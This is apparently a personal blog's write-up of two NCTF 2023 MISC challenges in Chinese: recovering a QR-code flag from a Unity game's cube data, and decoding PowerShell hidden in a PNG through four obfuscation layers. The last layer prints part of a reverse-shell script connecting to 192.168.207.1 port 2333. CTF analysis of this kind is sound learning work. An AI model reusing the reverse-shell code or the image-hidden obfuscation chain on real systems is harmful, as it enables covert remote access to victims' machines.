点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

NCTF 2023 个人部分题解

目录跳转:
MISC题目: jump for signin
MISC题目: NCTF2077: jackpot

MISC部分

题目: jump for signin

首先,对于这个题我的想法是比较片面和主观的. 我刚开始认为flag在游戏模型里,准备下unity看反编译出的游戏素材. 后面跟其他师傅交流探讨才知道原来flag就藏在源码里

这个题有两个思路:
1、反编译Assembly-CSharp.dll后,直接修改Assembly-CSharp.dll中的游戏代码,让二维码一开局就展现出来
2、反编译Assembly-CSharp.dll,提取二维码坐标以后用二维平面展示出来
由于我身边正好趁手,因此选择了第二种方案

注意到,下面变量存在异常

{
  class CubeGenerator{
    public int[][] cubes_all = new int[][]{
      new int[]{...},
      new int[]{...},
      new int[]{...},
      ...
    }
  }
}

注意到cubes_all该变量有大量疑似坐标点
avatar
观察后不难发现,new int[]中的数据应该是以下规律排列:

new int[]{x轴坐标, y轴坐标, z轴坐标, 该方块颜色}

且y轴坐标全都相同,方块颜色只有0 1两个值
因此写个脚本,提取所有的坐标以后再过滤无用的值,最后用像素绘图库绘图出来

import leectf

f = open('game.txt') #game.txt存放所有的点坐标
a = f.read()
f.close()

a = a.replace('\n','').replace('\t','')

pts = []

a1 = a.split('new int[]{')
for i in a1:
    try:
        i1 = i.split('}')[0]
        i2 = i1.split(',')
        if int(i2[3])==1:continue
        pts.append([int(i2[0]),int(i2[2])]) #忽略y轴坐标
    except:
        pass

leectf.plot.draw2DPixel(pts)

出现二维像素图,扫描即获得flag
avatar
NCTF{25d8fdeb-0cb6-4ad4-8da1-788a72e701f0}

题目: NCTF2077: jackpot

首先,下载png图片和exe
https://zysgmzb.club/hello/nctf.png
https://zysgmzb.club/hello/target.exe

拿到后,先分析png
在这里,使用Invoke-PSImage技术可以解png的ps混淆,Invoke-PSImage解码exp如下所示

from PIL import Image

def solove_png(image_path):
    img = Image.open(image_path)
    width, height = img.size
    extract_data = bytearray()
    for y in range(height):
        for x in range(width):
            pixels = img.getpixel((x, y))
            extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)
            extract_data.append(extract_byte)
    return extract_data

image_path = "nctf.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
    f.write(data)

解码后是一堆混淆后的powershell代码,怕一些层中间藏有信息,因此我们层层剥除来解混淆

第一层:

&((GV '*mdR*').NaMe[3,11,2]-JoIN'')
(NEw-ObjeCt  sySTeM.iO.sTReamreadEr(
    (NEw-ObjeCt  Io.cOMPrEssIoN.DEflATeSTREaM(
      [sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '密文' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs
    )) , [tEXT.EncoDING]::aScII
)).reADTOeNd()

第一层最简单,把开头的&((GV '*mdR*').NaMe[3,11,2]-JoIN'')去掉后,在前面加echo就行了
得到能进入第二层的代码为:

echo (NEw-ObjeCt  sySTeM.iO.sTReamreadEr(
    (NEw-ObjeCt  Io.cOMPrEssIoN.DEflATeSTREaM(
      [sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '密文' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs
    )) , [tEXT.EncoDING]::aScII
)).reADTOeNd()

第二层:

(
  '密文'.sPLIt('<r_l:{&Z' )
  | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])}
) -JOIN ''
| & ( $EnV:COmspEc[4,15,25]-jOIN'')

这层我们逐个剥除慢慢试. 不难发现,首先在最外层包个括号后,再去掉| & ( $EnV:COmspEc[4,15,25]-jOIN''),最后再在前面加个echo就行了
得到进入第三层的代码是:

echo ((
  '密文'.sPLIt('<r_l:{&Z' )
  | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])}
) -JOIN '')

第三层:

 .(([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'')
(([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr(
  [runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('密文' | conVeRtto-SEcurEsTrIng -key  (143..112)) )
)))

这层虽然看起来很抽象,但是仔细看代码还是不难懂. 把前面.(([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'')这个执行的部分删掉,保留后面解密的代码,再在前面加个echo就行了
得到进入第四层的代码是:

echo (([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr(
  [runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('密文' | conVeRtto-SEcurEsTrIng -key  (143..112)) )
)))

第四层:

$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
    $writer.Flush();
    $read = $null;
    $res = ""
  ...省略代码...

很明显,前半部分flag已经出来了. 这里不做再多解释
NCTF{5945cf0b-fdd6-4b7b

继续分析exe,直接二进制查看器搜flag关键字,拿下flag后半段
-873e-12a9595bbce8}

组合起来就是: NCTF{5945cf0b-fdd6-4b7b-873e-12a9595bbce8}

剩余题目以后再更新